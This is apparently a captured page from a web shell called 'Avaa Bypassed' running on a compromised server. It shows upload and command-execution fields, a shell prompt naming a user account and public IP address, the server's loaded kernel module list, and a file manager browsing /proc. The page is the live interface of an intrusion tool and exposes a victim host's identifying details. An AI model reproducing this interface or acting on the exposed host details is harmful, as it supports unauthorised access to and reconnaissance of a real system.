[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@3.135.193.70: ~ $
binfmt_misc 17468 1 - Live 0x0000000000000000
kcare 42472 1 - Live 0x0000000000000000 (OE)
nls_utf8 12557 0 - Live 0x0000000000000000
isofs 39844 0 - Live 0x0000000000000000
ip6t_REJECT 12625 3 - Live 0x0000000000000000
nf_reject_ipv6 13717 1 ip6t_REJECT, Live 0x0000000000000000
nf_log_ipv6 12726 2 - Live 0x0000000000000000
xt_time 12661 4 - Live 0x0000000000000000
nf_log_ipv4 12767 2 - Live 0x0000000000000000
nf_log_common 13317 2 nf_log_ipv6,nf_log_ipv4, Live 0x0000000000000000
xt_connlimit 12917 6 - Live 0x0000000000000000
nf_nat_ftp 12770 0 - Live 0x0000000000000000
xt_conntrack 12760 119 - Live 0x0000000000000000
nf_conntrack_ftp 18638 1 nf_nat_ftp, Live 0x0000000000000000
ipt_REJECT 12541 3 - Live 0x0000000000000000
nf_reject_ipv4 13373 1 ipt_REJECT, Live 0x0000000000000000
xt_LOG 12690 4 - Live 0x0000000000000000
xt_limit 12711 7 - Live 0x0000000000000000
ip6table_mangle 12700 0 - Live 0x0000000000000000
ip6table_raw 12683 0 - Live 0x0000000000000000
iptable_mangle 12695 0 - Live 0x0000000000000000
iptable_raw 12678 0 - Live 0x0000000000000000
xt_REDIRECT 12757 2 - Live 0x0000000000000000
nf_nat_redirect 12771 1 xt_REDIRECT, Live 0x0000000000000000
iptable_filter 12810 1 - Live 0x0000000000000000
ip6table_filter 12815 1 - Live 0x0000000000000000
iptable_nat 12875 1 - Live 0x0000000000000000
nf_conntrack_ipv4 19108 67 - Live 0x0000000000000000
nf_defrag_ipv4 12729 1 nf_conntrack_ipv4, Live 0x0000000000000000
nf_nat_ipv4 14115 1 iptable_nat, Live 0x0000000000000000
ip6table_nat 12864 1 - Live 0x0000000000000000
nf_conntrack_ipv6 18894 60 - Live 0x0000000000000000
nf_defrag_ipv6 35104 1 nf_conntrack_ipv6, Live 0x0000000000000000
tcp_diag 12591 0 - Live 0x0000000000000000
nf_nat_ipv6 14131 1 ip6table_nat, Live 0x0000000000000000
inet_diag 18949 1 tcp_diag, Live 0x0000000000000000
nf_nat 26147 4 nf_nat_ftp,nf_nat_redirect,nf_nat_ipv4,nf_nat_ipv6, Live 0x0000000000000000
nf_conntrack 111302 9 xt_connlimit,nf_nat_ftp,xt_conntrack,nf_conntrack_ftp,nf_conntrack_ipv4,nf_nat_ipv4,nf_conntrack_ipv6,nf_nat_ipv6,nf_nat, Live 0x0000000000000000
xt_owner 12534 28 - Live 0x0000000000000000
xt_multiport 12798 30 - Live 0x0000000000000000
ip6_tables 26901 4 ip6table_mangle,ip6table_raw,ip6table_filter,ip6table_nat, Live 0x0000000000000000
loop 28121 2 - Live 0x0000000000000000
crc32_pclmul 13113 0 - Live 0x0000000000000000
ghash_clmulni_intel 13259 0 - Live 0x0000000000000000
aesni_intel 69884 1 - Live 0x0000000000000000
lrw 13286 1 aesni_intel, Live 0x0000000000000000
gf128mul 14951 1 lrw, Live 0x0000000000000000
sg 40721 0 - Live 0x0000000000000000
glue_helper 13990 1 aesni_intel, Live 0x0000000000000000
ablk_helper 13597 1 aesni_intel, Live 0x0000000000000000
shpchp 37032 0 - Live 0x0000000000000000
virtio_balloon 13834 0 - Live 0x0000000000000000
cryptd 20359 3 ghash_clmulni_intel,aesni_intel,ablk_helper, Live 0x0000000000000000
virtio_rng 13019 0 - Live 0x0000000000000000
i2c_piix4 22106 0 - Live 0x0000000000000000
pcspkr 12718 0 - Live 0x0000000000000000
ip_tables 27115 4 iptable_mangle,iptable_raw,iptable_filter,iptable_nat, Live 0x0000000000000000
ext4 583541 2 - Live 0x0000000000000000
mbcache 14958 1 ext4, Live 0x0000000000000000
jbd2 102945 1 ext4, Live 0x0000000000000000
sd_mod 46322 811 - Live 0x0000000000000000
crc_t10dif 12714 1 sd_mod, Live 0x0000000000000000
crct10dif_generic 12647 0 - Live 0x0000000000000000
ata_generic 12910 0 - Live 0x0000000000000000
pata_acpi 13038 0 - Live 0x0000000000000000
virtio_net 28024 0 - Live 0x0000000000000000
virtio_scsi 18361 2 - Live 0x0000000000000000
virtio_console 28115 2 - Live 0x0000000000000000
qxl 73345 1 - Live 0x0000000000000000
drm_kms_helper 146456 1 qxl, Live 0x0000000000000000
syscopyarea 12529 1 drm_kms_helper, Live 0x0000000000000000
sysfillrect 12701 1 drm_kms_helper, Live 0x0000000000000000
crct10dif_pclmul 14289 1 - Live 0x0000000000000000
crct10dif_common 12595 3 crc_t10dif,crct10dif_generic,crct10dif_pclmul, Live 0x0000000000000000
sysimgblt 12640 1 drm_kms_helper, Live 0x0000000000000000
fb_sys_fops 12703 1 drm_kms_helper, Live 0x0000000000000000
crc32c_intel 22079 0 - Live 0x0000000000000000
ttm 93908 1 qxl, Live 0x0000000000000000
serio_raw 13462 0 - Live 0x0000000000000000
ata_piix 35038 0 - Live 0x0000000000000000
virtio_pci 22913 0 - Live 0x0000000000000000
drm 372540 4 qxl,drm_kms_helper,ttm, Live 0x0000000000000000
virtio_ring 21524 6 virtio_balloon,virtio_rng,virtio_net,virtio_scsi,virtio_console,virtio_pci, Live 0x0000000000000000
libata 247095 3 ata_generic,pata_acpi,ata_piix, Live 0x0000000000000000
virtio 15008 6 virtio_balloon,virtio_rng,virtio_net,virtio_scsi,virtio_console,virtio_pci, Live 0x0000000000000000
i2c_core 40756 3 i2c_piix4,drm_kms_helper,drm, Live 0x0000000000000000
floppy 69417 0 - Live 0x0000000000000000
sunrpc 334343 1 - Live 0x0000000000000000

Filemanager

Name Type Size Permission Actions
1 Folder 0555
10 Folder 0555
10182 Folder 0555
10646 Folder 0555
10647 Folder 0555
10648 Folder 0555
10649 Folder 0555
10650 Folder 0555
10652 Folder 0555
10653 Folder 0555
11 Folder 0555
11211 Folder 0555
1139 Folder 0555
1148 Folder 0555
11910 Folder 0555
12 Folder 0555
1264 Folder 0555
1265 Folder 0555
1267 Folder 0555
1268 Folder 0555
12741 Folder 0555
13 Folder 0555
142 Folder 0555
15 Folder 0555
16 Folder 0555
1625 Folder 0555
16401 Folder 0555
1647 Folder 0555
16728 Folder 0555
1695 Folder 0555
17 Folder 0555
1703 Folder 0555
1704 Folder 0555
17181 Folder 0555
17213 Folder 0555
17377 Folder 0555
18 Folder 0555
1873 Folder 0555
1886 Folder 0555
18994 Folder 0555
19317 Folder 0555
19326 Folder 0555
2 Folder 0555
20 Folder 0555
21 Folder 0555
21598 Folder 0555
21599 Folder 0555
21863 Folder 0555
21958 Folder 0555
22 Folder 0555
22176 Folder 0555
22364 Folder 0555
22369 Folder 0555
22374 Folder 0555
224 Folder 0555
22512 Folder 0555
22538 Folder 0555
22965 Folder 0555
22978 Folder 0555
22992 Folder 0555
22997 Folder 0555
23 Folder 0555
23074 Folder 0555
23105 Folder 0555
23107 Folder 0555
23160 Folder 0555
23383 Folder 0555
23752 Folder 0555
23760 Folder 0555
2440 Folder 0555
25 Folder 0555
25689 Folder 0555
26 Folder 0555
26547 Folder 0555
26602 Folder 0555
26657 Folder 0555
26662 Folder 0555
27 Folder 0555
28 Folder 0555
28283 Folder 0555
295 Folder 0555
29750 Folder 0555
3 Folder 0555
30 Folder 0555
30395 Folder 0555
30396 Folder 0555
30398 Folder 0555
30399 Folder 0555
30462 Folder 0555
30463 Folder 0555
30899 Folder 0555
31 Folder 0555
316 Folder 0555
317 Folder 0555
318 Folder 0555
319 Folder 0555
32 Folder 0555
322 Folder 0555
32237 Folder 0555
323 Folder 0555
324 Folder 0555
326 Folder 0555
327 Folder 0555
32754 Folder 0555
33 Folder 0555
344 Folder 0555
345 Folder 0555
35 Folder 0555
3583 Folder 0555
36 Folder 0555
37 Folder 0555
38 Folder 0555
40 Folder 0555
41 Folder 0555
42 Folder 0555
43 Folder 0555
435 Folder 0555
45 Folder 0555
466 Folder 0555
47 Folder 0555
4703 Folder 0555
48 Folder 0555
49 Folder 0555
491 Folder 0555
5 Folder 0555
50 Folder 0555
5094 Folder 0555
5099 Folder 0555
51 Folder 0555
5122 Folder 0555
5136 Folder 0555
5187 Folder 0555
5192 Folder 0555
52 Folder 0555
5266 Folder 0555
5270 Folder 0555
53 Folder 0555
5343 Folder 0555
5360 Folder 0555
54 Folder 0555
5403 Folder 0555
5434 Folder 0555
544 Folder 0555
5445 Folder 0555
5449 Folder 0555
545 Folder 0555
5452 Folder 0555
60 Folder 0555
61 Folder 0555
617 Folder 0555
62 Folder 0555
621 Folder 0555
63 Folder 0555
633 Folder 0555
637 Folder 0555
639 Folder 0555
64 Folder 0555
653 Folder 0555
7 Folder 0555
717 Folder 0555
72 Folder 0555
721 Folder 0555
74 Folder 0555
77 Folder 0555
7721 Folder 0555
7841 Folder 0555
7854 Folder 0555
7868 Folder 0555
79 Folder 0555
8 Folder 0555
9 Folder 0555
9389 Folder 0555
9392 Folder 0555
9607 Folder 0555
976 Folder 0555
989 Folder 0555
99 Folder 0555
997 Folder 0555
998 Folder 0555
acpi Folder 0555
bus Folder 0555
driver Folder 0555
fs Folder 0555
irq Folder 0555
kcare Folder 0555
net Folder 0555
scsi Folder 0555
self Folder 0555
sys Folder 0555
sysvipc Folder 0555
tty Folder 0555
buddyinfo File 0 B 0444
cgroups File 0 B 0444
cmdline File 0 B 0444
consoles File 0 B 0444
cpuinfo File 0 B 0444
crypto File 0 B 0444
devices File 0 B 0444
diskstats File 0 B 0444
dma File 0 B 0444
execdomains File 0 B 0444
fb File 0 B 0444
filesystems File 0 B 0444
interrupts File 0 B 0444
iomem File 0 B 0444
ioports File 0 B 0444
kallsyms File 0 B 0444
kcore File 128 TB 0400
key-users File 0 B 0444
keys File 0 B 0444
kmsg File 0 B 0400
kpagecount File 0 B 0400
kpageflags File 0 B 0400
loadavg File 0 B 0444
locks File 0 B 0444
mdstat File 0 B 0444
meminfo File 0 B 0444
misc File 0 B 0444
modules File 0 B 0444
mounts File 0 B 0444
mtrr File 0 B 0644
pagetypeinfo File 0 B 0444
partitions File 0 B 0444
sched_debug File 0 B 0444
schedstat File 0 B 0444
slabinfo File 0 B 0400
softirqs File 0 B 0444
stat File 0 B 0444
swaps File 0 B 0444
sysrq-trigger File 0 B 0200
timer_list File 0 B 0444
timer_stats File 0 B 0644
uptime File 0 B 0444
version File 0 B 0444
vmallocinfo File 0 B 0400
vmstat File 0 B 0444
zoneinfo File 0 B 0444